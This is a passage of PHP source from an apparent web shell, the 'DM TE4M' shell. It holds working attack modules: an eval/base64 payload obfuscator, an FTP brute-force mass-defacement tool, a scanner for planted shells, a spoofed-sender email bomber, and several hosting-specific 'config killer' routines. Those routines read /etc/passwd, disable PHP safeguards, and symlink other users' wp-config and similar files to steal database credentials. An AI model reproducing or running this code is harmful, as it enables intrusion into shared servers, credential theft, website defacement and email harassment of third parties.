2211</tr>
2212
2213</table>
2214</td></tr>
2215</table><br><br>
2216</html>";
2217?>
2218
2219
2220<?php }
2221// x=coding
2222elseif(isset($_GET['x']) && ($_GET['x'] == 'coding')){
2223// encode & decode
2224?>
2225<form action="?dm=<?php echo $pwd; ?>&x=coding" method="post">
2226
2227<?php {
2228echo "<br><br><center><div id=result> <nobr><b><span class='b7'>O=:[ ENCODE</span> <span class='b8'>DECODE ]:=O</span></b></nobr><br/><br/>
2229<form method='post'><table class=tbl>
2230<tr><td>Method : <select name='typed' style='color:red; background-color:black; border:1px solid #666;'>
2231<option>Encode</option><option>Decode</decode></select> </td></tr>
2232<tr><td>TYPE : <select name='typenc' style='color:red; background-color:black; border:1px solid #666;'>
2233<option>GZINFLATE</option><option>GZUNCOMPRESS</option><option>STR_ROT13</option></tr>
2234</td>
2235<tr><td>
2236<textarea spellcheck='false' style='color:#FF0000;background-color:#000000' cols='80' rows='25' name='php_content'></textarea></tr>
2237</td></table><hr/><input style='color:#FF0000;background-color:#000000' type='submit' value=' >> ' /><br /><hr /><br /></form></div>";
2238
2239$meth_d=$_POST['typed'];
2240$typ_d=$_POST['typenc'];
2241$c_ntent=$_POST['php_content'];
2242$c_ntent=$c_ntent;
2243switch($meth_d)
2244{
2245case "Encode":
2246switch($typ_d)
2247{
2248case "GZINFLATE":
2249$res_t=base64_encode(gzdeflate(trim(stripslashes($c_ntent.' '),'<?php, ?>'),9));
2250$res_t="<?php eval(gzinflate(base64_decode(\"$res_t\"))); ?>";
2251break;
2252case "GZUNCOMPRESS":
2253$res_t=base64_encode(gzcompress(trim(stripslashes($c_ntent.' '),'<?php, ?>'),9));
2254$res_t="<?php eval(gzuncompress(base64_decode(\"$res_t\"))); ?>";
2255break;
2256case "STR_ROT13":
2257$res_t=trim(stripslashes($c_ntent.' '),'<?php, ?>');
2258$res_t=base64_encode(str_rot13($res_t));
2259$res_t="<?php eval(str_rot13(base64_decode(\"$res_t\"))); ?>";
2260break;
2261}
2262break;
2263case "Decode":
2264switch($typ_d)
2265{
2266case "GZINFLATE":
2267$res_t=gzinflate(base64_decode($c_ntent));
2268break;
2269case "GZUNCOMPRESS":
2270$res_t=gzuncompress(base64_decode($c_ntent));
2271break;
2272case "STR_ROT13":
2273$res_t=str_rot13(base64_decode($c_ntent));
2274break;
2275}
2276break;
2277}
2278echo "<center><div id=result><textarea spellcheck='false' style='color:#FF0000;background-color:#000000' cols='80' rows='25'>".htmlspecialchars($res_t)."</textarea></center></div>";
2279}
2280?>
2281
2282<?php }
2283# x=sscan
2284elseif(isset($_GET['x']) && ($_GET['x'] == 'cp2')){
2285?>
2286<form action="?dm=<?php echo $pwd; ?>&x=cp2" method="post">
2287
2288<br/><br/><center><nobr><b><span class='b7'>O=:[ FTP MASS</span> <span class='b8'>DEFACE ]:=O</span></b></nobr><br/><br/>
2289
2290<form method="post">
2291<center>
2292 IP Server:<input type="text" name="ip" value="127.0.0.1" />
2293 <p> </p>
2294 User's List:<br>
2295 <textarea rows="10" style="width:35%;" name="users" value="The Users List"></textarea>
2296 <p> </p>
2297 Password's List:<br>
2298 <textarea rows="10" style="width:35%;" name="passwords" value="The Password List"></textarea>
2299 <p> </p>
2300 Index File Name:<input type="text" name="index_name" value="index.php" /><br>
2301 <p> </p>
2302 Index File Link:<input type="text" name="index_link" value="index.txt" /><br>
2303 <p> </p>
2304 <input type="submit" name="forest" value="Mass Deface it" /><br><br>
2305 </form></center>
2306
2307<?php
2308set_time_limit(0);
2309if(isset($_POST['forest'])){
2310$ip=trim($_POST['ip']);
2311$users = explode("\n",$_POST["users"]);
2312$passwords = explode("\n",$_POST["passwords"]);
2313$index_name=trim($_POST['index_name']);$index_link=trim($_POST['index_link']);
2314
2315foreach($users as $user){
2316foreach($passwords as $pass){
2317$connect_ip = ftp_connect($ip) or die("Couldn't Connect To $ip");
2318if(@ftp_login($connect_ip, trim($user), trim($pass))){
2319
2320echo "<br>Connected To --> $ip@$user\n";@ftp_delete($connect_ip,$index_name);
2321
2322$deface = ftp_put($connect_ip, "/public_html/".$index_name , $index_link, FTP_ASCII);
2323if($deface){
2324echo "<br><font color=green> $user --> Deface Success!!</font>";
2325break;
2326}else{
2327echo "<br><font color=red> $user --> Error Defacing!!</font>";
2328 }
2329 }else{
2330echo "<br><font color=red>Couldn't Connect To --> $ip@$user --> $pass</font>\n";
2331}
2332}
2333}
2334echo "<br><font size=5> ! Mass Defacing Was Done ! </font>";
2335}
2336?>
2337
2338<?php }
2339# x=sscan
2340elseif(isset($_GET['x']) && ($_GET['x'] == 'sscan')){
2341 ?>
2342<form action="?dm=<?php echo $pwd; ?>&x=sscan" method="post">
2343
2344<br><br><center><div id=result> <nobr><b><span class='b7'>O=:[ SHELL</span> <span class='b8'>SCANNER ]:=O</span></b></nobr><br/><br/>
2345
2346<table><form method='POST'>
2347<tr><td>URL TARGET : <input size=40 style='color:#FF0000;background-color:#000000' name='rem_web' value='http://'></td></tr>
2348<tr><td><font color=red>INPUT NAMA FILE / SHELL</font></tr></td>
2349<tr><td><textarea spellcheck='false' class='textarea_edit' style='color:#FF0000;background-color:#000000' cols=50 rows=30 name='tryzzz'>
2350
2351WSO.php
2352dz.php
2353cpanelcracker.php
2354blackshadow.php
2355sym.php
2356ftpcracker.php
2357cpanel.php
2358cpn.php
2359sql.php
2360mysql.php
2361madspot.php
2362itsecteam_shell.php
2363b374k.php
2364madsopot.php
2365indishell.php
2366Cgishell.pl
2367killer.php
2368changeall.php
23692.php
2370Sh3ll.php
2371dz0.php
2372dam.php
2373user.php
2374dom.php
2375whmcs.php
2376r00t.php
2377c99.php
2378gaza.php
2379q.php
23801.php
2381d0mains.php
2382madspotshell.php
2383Sym.php
2384c22.php
2385c100.php
2386Cpanel.php
2387zone-h.php
2388cp.php
2389L3b.php
2390d.php
2391admin1.php
2392upload.php
2393up.php
2394uploads.php
2395sa.php
2396r57.php
2397shell.php
2398sa.php
2399</textarea></td></tr>
2400<tr><td><br /><input type='submit' style='color:#FF0000;background-color:#000000' value=' >> SCAN >> ' class='input_big' /><br /><br /></td></tr></form></table><br /><br /><hr /><br /><br />
2401
2402<?php
2403set_time_limit(0);
2404$rtr=array();
2405echo "<div id=result><center><table>";
2406$webz=$_POST['rem_web'];
2407$uri_in=$_POST['tryzzz'];
2408$r_xuri = trim($uri_in);
2409$r_xuri=explode("\n", $r_xuri);
2410foreach($r_xuri as $rty)
2411{
2412$urlzzx=$webz.$rty;
2413if(function_exists('curl_init'))
2414{
2415echo "<tr><td style='text-align:left'><font color=orange>Checking : </font> <font color=7171C6> $urlzzx </font></td>";
2416$ch = curl_init($urlzzx);
2417curl_setopt($ch, CURLOPT_NOBODY, true);
2418curl_exec($ch);
2419$status_code=curl_getinfo($ch, CURLINFO_HTTP_CODE);
2420curl_close($ch);
2421if($status_code==200)
2422{
2423echo "<td style='text-align:left'><font color=green> Found....</font></td></tr>";
2424} else {
2425echo "<td style='text-align:left'><font color=red>Not Found...</font></td></tr>";
2426 }
2427 } else {
2428echo "<font color=red>cURL Not Found </font>";
2429} }
2430echo "</table><br /><br /><hr /><br /><br /></div>";
2431?>
2432
2433<?php }
2434# x=bomail
2435elseif(isset($_GET['x']) && ($_GET['x'] == 'bomail')){
2436?>
2437<form action="?y=<?php echo $pwd; ?>&x=email" method="post">
2438<html>
2439<head><title>./DM TE4M</title>
2440</head>
2441<center><body bgcolor="black">
2442<a href="http://www.facebook.com/groups/D.MASTERPIECE"><img src="http://img59.imageshack.us/img59/9402/headerpicsay.jpg" border="0" width="200" height="50"></a><br><br>
2443<span style="color:white"> --=|[+] BOMB FAKE EMAIL [+]|=--<br/></center>
2444 <span style="color:#00FF00"><hr></span>
2445<form method=post>
2446<input type=hidden value=dm name=dm>
2447<center><span style="color:#00FF00">-:[ X-EMAIL ]:-</span><br/>
2448 <span style="color:white">**Isi Dengan Nama Email Palsu**<br/>
2449<input style="color:lime;background-color:#000000" name=wew value="<?echo $wew; ?>"></center>
2450<br/>
2451<center><span style="color:#00FF00">-:[ EMAIL TUJUAN ]:-</span><br/>
2452 <span style="color:white">**Isi Email Target Bomb Email**</span><br/>
2453<input style="color:lime;background-color:#000000" name=wow value="<?echo $wow; ?>"></center>
2454<br/>
2455<center><span style="color:#00FF00">-:[ SUBJECT ]:-</span> <br/>
2456 <span style="color:white">**Isi Nama Judul Pesan**</span><br/>
2457<input style="color:lime;background-color:#000000" name=anu value="<?echo $anu; ?>"></center>
2458<br/>
2459<center><span style="color:#00FF00">-:[ JUMLAH KIRIM ]:-</span><br/>
2460 <span style="color:white">**Isi Nominal Antara 0 s/d 100**</span><br/>
2461<input style="color:lime;background-color:#000000" name=sodok value="<?echo $sodok; ?>"></center>
2462<br/>
2463<center><span style="color:#00FF00">-:PESAN ]:-</span><br/>
2464 <span style="color:white">**Tulis Pesan Kamu**</span><br/>
2465<textarea style="color:lime;background-color:#000000" cols="30" rows="50" name=deathnote><?echo $deathnote?></textarea><br/>
2466<p>
2467<input style="color:lime;background-color:#000000" type=submit value=./CROTZ></center></form>
2468<span style="color:#00FF00"><hr></span>
2469 <span style="color:yellow">
2470<?php
2471//DMASTERPIECE TE4M Introduction
2472$dm = $_POST['dm'];
2473//Fungsi Pengirim Email
2474$wew = $_POST['wew'];
2475//Fungsi Penerima Email
2476$wow = $_POST['wow'];
2477//Fungsi Jumlah Pesan Yg Akan Di Kirim
2478$sodok = $_POST['sodok'];
2479//Fungsi Subject Atau Judul
2480$anu = $_POST['anu'];
2481//Fungsi Isi Pesan
2482$deathnote = $_POST['deathnote'];
2483
2484if ($dm=="dm" ) {
2485for ($i=0;$i <$sodok;$i++) {
2486$a= $wew;
2487$janda = $anu.$i;
2488mail( $wow,$janda,$deathnote.str_repeat(" ", 0*$xdm),"From: $a <$a>\r\n" );
2489} echo (" <center>* SUKSES :D | HAJAR LAGI BOS :P *</center>");
2490}
2491//WE ARE DMASTERPIECE
2492//WE ARE LEGION
2493//WE ARE FAMILY
2494//WE DO NOT FORGIVE
2495//WE DO NOT FORGET
2496//EXPECT US
2497exit;
2498?>
2499
2500
2501<?php }
2502# x=plesk
2503elseif(isset($_GET['x']) && ($_GET['x'] == 'plesk')){ ?>
2504<form action="?dm=<?php echo $pwd; ?>&x=plesk" method="post">
2505<?php
2506@mkdir('plesk', 0777);
2507$hta="Options all \n
2508DirectoryIndex Sux.html \n
2509AddType text/plain .php\n
2510AddHandler server-parsed .php";
2511$htaccess=@fopen('plesk/.htaccess', 'w');
2512fwrite($htaccess, $hta);
2513@symlink("/", "plesk/dm.txt");
2514?>
2515
2516<?php }
2517// x=apache
2518elseif(isset($_GET['x']) && ($_GET['x'] == 'apache')){
2519// symlink apache + config killer
2520?>
2521<form action="?dm=<?php echo $pwd; ?>&x=apache" method="post">
2522<?php
2523$head = '
2524<html>
2525<head>
2526</script>
2527<title>APACHE</title>
2528<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
2529<script language=\'javascript\'>
2530function hide_div(id)
2531{
2532 document.getElementById(id).style.display = \'none\';
2533 document.cookie=id+\'=0;\';
2534}
2535function show_div(id)
2536{
2537 document.getElementById(id).style.display = \'block\';
2538 document.cookie=id+\'=1;\';
2539}
2540function change_divst(id)
2541{
2542if (document.getElementById(id).style.display == \'none\')
2543show_div(id);
2544else
2545hide_div(id);
2546}
2547</script>'; ?>
2548<html>
2549<head>
2550<?php echo $head; ?>
2551<body bgcolor=black><center><br/><br/> <img src="http://silk.apana.org.au/graphics/apache_logo.gif">
2552<form method=post><br/><br/>
2553<nobr><b><span class='b7'>O=:[ APACHE</span> <span class='b8'>TOOLS ]:=O</span></b></nobr><br/><br/>
2554<p><input type=submit style=color:#FF0000;background-color:#000000 name="usre" value="EXTRACT USER" /></form><br/><br/><br/>
2555
2556<?php
2557if(isset($_POST['usre'])){
2558?>
2559<form method=post>
2560<textarea rows=20 style=color:#FF0000;background-color:#000000 cols=60 name=user><?php $users=file("/etc/passwd");
2561foreach($users as $user)
2562{
2563$str=explode(":",$user);
2564echo $str[0]."\n";
2565}
2566
2567?></textarea><br><br>
2568<input type=submit style=color:#FF0000;background-color:#000000 name=su value="EXECUTE" /></form><br/>
2569<?php } ?>
2570
2571<?php
2572error_reporting(0);
2573if(isset($_POST['su'])){
2574mkdir('dm',0777);
2575$rr = "Options all \r
2576DirectoryIndex Sux.html \r
2577AddType text/plain .php \r
2578AddType text/plain .html \r
2579AddType text/plain .bak \r
2580AddType text/plain .old \r
2581AddHandler server-parsed .php \r
2582AddHandler txt .html \r
2583Require None \r Satisfy Any";
2584$g = fopen('dm/.htaccess','w');
2585fwrite($g,$rr);
2586$dm = symlink("/","dm/dm.txt");
2587$rt="<a href=dm/dm.txt><b><span class='b11'>[ SYMLINK ]</span></b></a>";
2588echo "<nobr>[~] ";
2589echo "$rt";
2590
2591$dir=mkdir('DM',0777);
2592$r = "Options all \r
2593DirectoryIndex Sux.html \r
2594AddType text/plain .php \r
2595AddType text/plain .html \r
2596AddType text/plain .bak \r
2597AddType text/plain .old \r
2598AddHandler server-parsed .php \r
2599AddHandler txt .html \r
2600Require None \r
2601Satisfy Any";
2602$f = fopen('DM/.htaccess','w');
2603fwrite($f,$r);
2604$consym="<a href=DM/><b><span class='b11'>[ CONFIG KILLER ]</span></b> </a>";
2605echo " [~] ";
2606echo "$consym";
2607echo " [~]</nobr>";
2608
2609$usr=explode("\n",$_POST['user']);
2610$configuration=array(
2611"aksi.php",
2612"aksi.php.old",
2613"aksi.php.bak",
2614"conf.php",
2615"conf.php.old",
2616"conf.php.bak",
2617"conf_global.php",
2618"conf_global.php.old",
2619"conf_global.php.bak",
2620"config.php",
2621"config.php.old",
2622"config.php.bak",
2623"configuration.php",
2624"configuration.php.old",
2625"configuration.php.bak",
2626"conn.php",
2627"conn.php.old",
2628"conn.php.bak",
2629"connect.php",
2630"connect.php.old",
2631"connect.php.bak",
2632"connection.php",
2633"connection.php.old",
2634"connection.php.bak",
2635"db.php",
2636"db.php.old",
2637"db.php.bak",
2638"database.php",
2639"database.php.old",
2640"database.php.bak",
2641"inc.php",
2642"inc.php.old",
2643"inc.php.bak",
2644"koneksi.php",
2645"koneksi.php.old",
2646"koneksi.php.bak",
2647"mysql.php",
2648"myqsl.php.old",
2649"mysql.php.bak",
2650"setting.php",
2651"setting.php.old",
2652"setting.php.bak",
2653"Settings.php",
2654"Settings.php.old",
2655"Settings.php.bak",
2656"sql.php",
2657"sql.php.old",
2658"sql.php.bak");
2659foreach($usr as $uss ){
2660$us=trim($uss);
2661foreach($configuration as $c){
2662$rs="/home/".$us."/public_html/".$c;
2663$r="DM/".$us."~".$c;
2664symlink($rs,$r);
2665}
2666}
2667}
2668?>
2669
2670<?php }
2671// x=hostgator
2672elseif(isset($_GET['x']) && ($_GET['x'] == 'hostgator')){
2673// symlink hostgator + config killer
2674?>
2675<form action="?dm=<?php echo $pwd; ?>&x=hostgator" method="post">
2676<?php
2677$head = '
2678<html>
2679<head><title>HOSTGATOR</title>
2680<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
2681<script language=\'javascript\'>
2682function hide_div(id){
2683 document.getElementById(id).style.display = \'none\';
2684 document.cookie=id+\'=0;\';
2685}
2686
2687function show_div(id){
2688document.getElementById(id).style.display = \'block\';
2689document.cookie=id+\'=1;\';
2690}
2691
2692function change_divst(id){
2693if (document.getElementById(id).style.display == \'none\')
2694show_div(id);
2695else
2696hide_div(id);
2697}
2698</script>'; ?>
2699<html>
2700<head>
2701<?php echo $head; ?>
2702<body bgcolor=black><center><br/><br/><img src="http://partnernoc.cpanel.net/logo/822-4021-logo.png">
2703<form method=post><br/><br/>
2704<nobr><b><span class='b7'>O=:[ HOSTGATOR</span> <span class='b8'>TOOLS ]:=O</span></b></nobr><br/><br/>
2705<p><input type=submit style=color:#FF0000;background-color:#000000 name="usre" value="EXTRACT USER" /></form><br/><br/><br/>
2706
2707<?php
2708if(isset($_POST['usre'])){
2709?>
2710<form method=post>
2711<textarea rows=20 style=color:#FF0000;background-color:#000000 cols=60 name=user><?php $users=file("/etc/passwd");
2712foreach($users as $user){
2713$str=explode(":",$user);
2714echo $str[0]."\n";
2715}
2716?></textarea><br><br>
2717<input type=submit style=color:#FF0000;background-color:#000000 name=su value="./EXECUTE" /></form><br/>
2718<?php } ?>
2719
2720<?php
2721error_reporting(0);
2722if(isset($_POST['su'])){
2723mkdir('hostgator',0777);
2724$r = "Options +FollowSymLinks \n
2725DirectoryIndex Sux.html \n
2726Options +Indexes \n
2727AddType text/plain .php \n
2728AddHandler server-parsed .php \n
2729AddType text/plain.html ";
2730$g = fopen('hostgator/.htaccess','w');
2731fwrite($g,$rr);
2732$dm = symlink("/","hostgator/dm.ini");
2733$rt="<a href=hostgator/dm.ini><b><span class='b11'>[ SYMLINK ]</span></b></a>";
2734echo "<nobr>[~] ";
2735echo "$rt";
2736
2737$dir=mkdir('HOSTGATOR',0777);
2738$rr = "Safe_mode = OFF \n
2739Disable_functions = NONE \n
2740Open_basedir = OFF";
2741$f = fopen('HOSTGATOR/php.ini','w');
2742fwrite($f,$rr);
2743
2744$rrr = "Options +FollowSymLinks \n
2745DirectoryIndex Sux.html \n
2746Options +Indexes \n
2747AddType text/plain .php \n
2748AddHandler server-parsed .php \n
2749AddType text/plain.html ";
2750$ff = fopen('HOSTGATOR/.htaccess','w');
2751fwrite($ff,$rrr);
2752
2753$consym="<a href=HOSTGATOR/>
2754<span class='b11'>[ CONFIG KILLER ]</span></b></a>";
2755echo " [~] ";
2756echo "$consym";
2757echo " [~]</nobr>";
2758
2759$usr=explode("\n",$_POST['user']);
2760$configuration=array("wp-config.ini",
2761"wordpress/wp-config.ini",
2762"configuration.ini",
2763"blog/wp-config.ini",
2764"joomla/configuration.ini",
2765"vb/includes/config.ini",
2766"includes/config.ini",
2767"conf_global.ini",
2768"inc/config.ini",
2769"config.ini",
2770"Settings.ini",
2771"sites/default/settings.ini",
2772"whm/configuration.ini",
2773"whmcs/configuration.ini",
2774"support/configuration.ini",
2775"whmc/WHM/configuration.ini",
2776"whm/WHMCS/configuration.ini",
2777"whm/whmcs/configuration.ini",
2778"support/configuration.ini",
2779"clients/configuration.ini",
2780"client/configuration.ini",
2781"clientes/configuration.ini",
2782"cliente/configuration.ini",
2783"clientsupport/configuration.ini",
2784"billing/configuration.ini",
2785"admin/config.ini");
2786foreach($usr as $uss ){
2787$us=trim($uss);
2788foreach($configuration as $c){
2789$rs="/home/".$us."/public_html/".$c;
2790$r="HOSTGATOR/".$us."~".$c;
2791symlink($rs,$r);
2792}
2793}
2794}
2795?>
2796
2797<?php }
2798// x=bluehost
2799elseif(isset($_GET['x']) && ($_GET['x'] == 'bluehost')){
2800// symlink bluehost + config killer
2801?>
2802<form action="?dm=<?php echo $pwd; ?>&x=bluehost" method="post">
2803<?php
2804$head = '
2805<html>
2806<head><title>BLUEHOST</title>
2807<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
2808<script language=\'javascript\'>
2809function hide_div(id){
2810 document.getElementById(id).style.display = \'none\';
2811 document.cookie=id+\'=0;\';
2812}
2813
2814function show_div(id){
2815document.getElementById(id).style.display = \'block\';
2816document.cookie=id+\'=1;\';
2817}
2818
2819function change_divst(id){
2820if (document.getElementById(id).style.display == \'none\')
2821show_div(id);
2822else
2823hide_div(id);
2824}
2825</script>'; ?>
2826<html>
2827<head>
2828<?php echo $head; ?>
2829<body bgcolor=black>
2830<center><br/><br/>
2831<img src="http://www.ananova.com/wp-content/uploads/2013/04/bluehost-review-by-toptenhostings.jpg">
2832<form method=post><br/><br/><nobr><b><span class='b7'>O=:[ BLUEHOST</span> <span class='b8'>TOOLS ]:=O</span></b></nobr><br/><br/>
2833<p><input type=submit style=color:#FF0000;background-color:#000000 name="usre" value="EXTRACT USER" /></form><br/><br/><br/>
2834
2835<?php
2836if(isset($_POST['usre'])){
2837?>
2838<form method=post>
2839<textarea rows=20 style=color:#FF0000;background-color:#000000 cols=60 name=user><?php $users=file("/etc/passwd");
2840foreach($users as $user){
2841$str=explode(":",$user);
2842echo $str[0]."\n";
2843}
2844?></textarea><br><br>
2845<input type=submit style=color:#FF0000;background-color:#000000 name=su value="./EXECUTE" /></form><br/>
2846<?php } ?>
2847<?php
2848error_reporting(0);
2849echo "<font color=white size=2 face=\"comic sans ms\">";
2850if(isset($_POST['su'])){
2851mkdir('bluehost',0777);
2852$rr = "AllowOverride All None \n
2853DirectoryIndex index.html index.htm index.php index.php4 index.php5 \n
2854AddType application/octet-stream .php \n
2855AddHandler server-parsed .php \n
2856Addhandler cgi-script .asp \n
2857AddType ini .php \n
2858AddHandler ini .php";
2859$g = fopen('bluehost/.htaccess','w');
2860fwrite($g,$rr);
2861$dm = symlink("/","bluehost/dm.ini");
2862$rt="<a href=bluehost/dm.ini><b><span class='b11'>[ SYMLINK ]</span></b></a>";
2863echo "<nobr>[~] ";
2864echo "$rt";
2865
2866$dir=mkdir('BLUEHOST',0777);
2867$r = "Options all \n DirectoryIndex Sux.html \n
2868AddType text/plain .php \n
2869AddHandler server-parsed .php \n
2870AddType text/plain .html \n
2871AddHandler txt .html \n
2872Require None \n
2873Satisfy Any";
2874$f = fopen('BLUEHOST/.htaccess','w');
2875fwrite($f,$r);
2876$consym="<a href=BLUEHOST/><span class='b11'>[ CONFIG KILLER ]</span></b></a>";
2877echo " [~] ";
2878echo "$consym";
2879echo " [~]</nobr>";
2880
2881$usr=explode("\n",$_POST['user']);
2882$configuration=array("wp-config.ini",
2883"wordpress/wp-config.ini",
2884"configuration.ini",
2885"blog/wp-config.ini",
2886"joomla/configuration.ini",
2887"vb/includes/config.ini",
2888"includes/config.ini",
2889"conf_global.ini",
2890"inc/config.ini",
2891"config.ini",
2892"Settings.ini",
2893"sites/default/settings.ini",
2894"whm/configuration.ini",
2895"whmcs/configuration.ini",
2896"support/configuration.ini",
2897"whmc/WHM/configuration.ini",
2898"whm/WHMCS/configuration.ini",
2899"whm/whmcs/configuration.ini",
2900"support/configuration.ini",
2901"clients/configuration.ini",
2902"client/configuration.ini",
2903"clientes/configuration.ini",
2904"cliente/configuration.ini",
2905"clientsupport/configuration.ini",
2906"billing/configuration.ini",
2907"admin/config.ini");
2908
2909foreach($usr as $uss ){
2910$us=trim($uss);
2911foreach($configuration as $c){
2912$rs="/home/".$us."/public_html/".$c;
2913$rs="/home1/".$us."/public_html/".$c;
2914$rs="/home2/".$us."/public_html/".$c;
2915$rs="/home3/".$us."/public_html/".$c;
2916$rs="/home4/".$us."/public_html/".$c;
2917$rs="/home5/".$us."/public_html/".$c;
2918$rs="/home6/".$us."/public_html/".$c;
2919$rs="/home7/".$us."/public_html/".$c;
2920$rs="/home8/".$us."/public_html/".$c;
2921$r="BLUEHOST/".$us."~".$c;
2922symlink($rs,$r);
2923}
2924}
2925}
2926?>
2927 <?php }
2928// x=ovh
2929elseif(isset($_GET['x']) && ($_GET['x'] == 'ovh')){
2930// symlink ovh + config killer
2931?>
2932<form action="?dm=<?php echo $pwd; ?>&x=ovh" method="post">
2933<?php
2934$head = '
2935<html>
2936<head><title>OVH</title>
2937<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
2938<script language=\'javascript\'>
2939function hide_div(id){
2940 document.getElementById(id).style.display = \'none\';
2941 document.cookie=id+\'=0;\';
2942}
2943
2944function show_div(id){
2945document.getElementById(id).style.display = \'block\';
2946document.cookie=id+\'=1;\';
2947}
2948
2949function change_divst(id){
2950if (document.getElementById(id).style.display == \'none\')
2951show_div(id);
2952else
2953hide_div(id);
2954}
2955</script>'; ?>
2956<html>
2957<head>
2958<?php echo $head; ?>
2959<body bgcolor=black><center><br/><br/><img src="http://alsace-international.eu/IMG/LOGOS/Entreprises/OVH_Logo.gif">
2960<form method=post><br/><br/>
2961<nobr><b><span class='b7'>O=:[ OVH</span> <span class='b8'>TOOLS ]:=O</span></b></nobr><br/><br/>
2962<p><input type=submit style=color:#FF0000;background-color:#000000 name="usre" value="EXTRACT USER" /></form><br/><br/><br/>
2963
2964<?php
2965if(isset($_POST['usre'])){
2966?>
2967<form method=post>
2968<textarea rows=20 style=color:#FF0000;background-color:#000000 cols=60 name=user><?php $users=file("/etc/passwd");
2969foreach($users as $user){
2970$str=explode(":",$user);
2971echo $str[0]."\n";
2972}
2973?></textarea><br><br>
2974<input type=submit style=color:#FF0000;background-color:#000000 name=su value="./EXECUTE" /></form><br/>
2975<?php } ?>
2976
2977<?php
2978error_reporting(0);
2979if(isset($_POST['su'])){
2980mkdir('ovh',0777);
2981$r = "AllowOverride All None \n
2982DirectoryIndex index.html index.htm index.php index.php4 index.php5 \n
2983AddType application/octet-stream .php \n
2984AddHandler server-parsed .php \n
2985Addhandler cgi-script .asp \n
2986AddType ini .php \n
2987AddHandler ini .php";
2988$g = fopen('ovh/.htaccess','w');
2989fwrite($g,$rr);
2990$dm = symlink("/","ovh/dm.ini");
2991$rt="<a href=ovh/dm.ini><b><span class='b11'>[ SYMLINK ]</span></b></a>";
2992echo "<nobr>[~] ";
2993echo "$rt";
2994
2995$dir=mkdir('OVH',0777);
2996$rr = "Safe_mode = OFF \n
2997Disable_functions = NONE \n
2998Open_basedir = OFF";
2999$f = fopen('OVH/php.ini','w');
3000fwrite($f,$rr);
3001
3002$rrr = "AllowOverride All None \n
3003DirectoryIndex index.html index.htm index.php index.php4 index.php5 \n
3004AddType application/octet-stream .php \n
3005AddHandler server-parsed .php \n
3006AddHandler cgi-script .asp \n
3007AddType ini .php \n
3008AddHandler ini .php";
3009$ff = fopen('OVH/.htaccess','w');
3010fwrite($ff,$rrr);
3011
3012$consym="<a href=OVH/>
3013<span class='b11'>[ CONFIG KILLER ]</span></b></a>";
3014echo " [~] ";
3015echo "$consym";
3016echo " [~]</nobr>";
3017
3018$usr=explode("\n",$_POST['user']);
3019$configuration=array("wp-config.ini",
3020"wordpress/wp-config.ini",
3021"configuration.ini",
3022"blog/wp-config.ini",
3023"joomla/configuration.ini",
3024"vb/includes/config.ini",
3025"includes/config.ini",
3026"conf_global.ini",
3027"inc/config.ini",
3028"config.ini",
3029"Settings.ini",
3030"sites/default/settings.ini",
3031"whm/configuration.ini",
3032"whmcs/configuration.ini",
3033"support/configuration.ini",
3034"whmc/WHM/configuration.ini",
3035"whm/WHMCS/configuration.ini",
3036"whm/whmcs/configuration.ini",
3037"support/configuration.ini",
3038"clients/configuration.ini",
3039"client/configuration.ini",
3040"clientes/configuration.ini",
3041"cliente/configuration.ini",
3042"clientsupport/configuration.ini",
3043"billing/configuration.ini",
3044"admin/config.ini");
3045foreach($usr as $uss ){
3046$us=trim($uss);
3047foreach($configuration as $c){
3048$rs="/homez.0/".$us."/www/".$c;
3049$rs="/homez.1/".$us."/www/".$c;
3050$rs="/homez.2/".$us."/www/".$c;
3051$rs="/homez.3/".$us."/www/".$c;
3052$rs="/homez.4/".$us."/www/".$c;
3053$rs="/homez.5/".$us."/www/".$c;
3054$rs="/homez.6/".$us."/www/".$c;
3055$rs="/homez.7/".$us."/www/".$c;
3056$rs="/homez.8/".$us."/www/".$c;
3057$rs="/homez.9/".$us."/www/".$c;
3058$rs="/homez.10/".$us."/www/".$c;
3059$rs="/homez.11/".$us."/www/".$c;
3060$rs="/homez.12/".$us."/www/".$c;
3061$rs="/homez.13/".$us."/www/".$c;
3062$rs="/homez.14/".$us."/www/".$c;
3063$rs="/homez.15/".$us."/www/".$c;
3064$rs="/homez.16/".$us."/www/".$c;
3065$rs="/homez.17/".$us."/www/".$c;
3066$rs="/homez.18/".$us."/www/".$c;
3067$rs="/homez.19/".$us."/www/".$c;
3068$rs="/homez.20/".$us."/www/".$c;
3069$rs="/homez.21/".$us."/www/".$c;
3070$rs="/homez.22/".$us."/www/".$c;
3071$rs="/homez.23/".$us."/www/".$c;
3072$rs="/homez.24/".$us."/www/".$c;
3073$rs="/homez.25/".$us."/www/".$c;
3074$rs="/homez.26/".$us."/www/".$c;
3075$rs="/homez.27/".$us."/www/".$c;
3076$rs="/homez.28/".$us."/www/".$c;
3077$rs="/homez.29/".$us."/www/".$c;
3078$rs="/homez.30/".$us."/www/".$c;
3079$rs="/homez.31/".$us."/www/".$c;
3080$rs="/homez.32/".$us."/www/".$c;
3081$rs="/homez.33/".$us."/www/".$c;
3082$rs="/homez.34/".$us."/www/".$c;
3083$rs="/homez.35/".$us."/www/".$c;
3084$rs="/homez.36/".$us."/www/".$c;
3085$rs="/homez.37/".$us."/www/".$c;
3086$rs="/homez.38/".$us."/www/".$c;
3087$rs="/homez.39/".$us."/www/".$c;
3088$rs="/homez.40/".$us."/www/".$c;
3089$rs="/homez.41/".$us."/www/".$c;
3090$rs="/homez.42/".$us."/www/".$c;
3091$rs="/homez.43/".$us."/www/".$c;
3092$rs="/homez.44/".$us."/www/".$c;
3093$rs="/homez.45/".$us."/www/".$c;
3094$rs="/homez.46/".$us."/www/".$c;
3095$rs="/homez.47/".$us."/www/".$c;
3096$rs="/homez.48/".$us."/www/".$c;
3097$rs="/homez.49/".$us."/www/".$c;
3098$rs="/homez.50/".$us."/www/".$c;
3099$rs="/homez.51/".$us."/www/".$c;
3100$rs="/homez.52/".$us."/www/".$c;
3101$rs="/homez.53/".$us."/www/".$c;
3102$rs="/homez.54/".$us."/www/".$c;
3103$rs="/homez.55/".$us."/www/".$c;
3104$rs="/homez.56/".$us."/www/".$c;
3105$rs="/homez.57/".$us."/www/".$c;
3106$rs="/homez.58/".$us."/www/".$c;
3107$rs="/homez.59/".$us."/www/".$c;
3108$rs="/homez.60/".$us."/www/".$c;
3109$rs="/homez.61/".$us."/www/".$c;
3110$rs="/homez.62/".$us."/www/".$c;
3111$rs="/homez.63/".$us."/www/".$c;
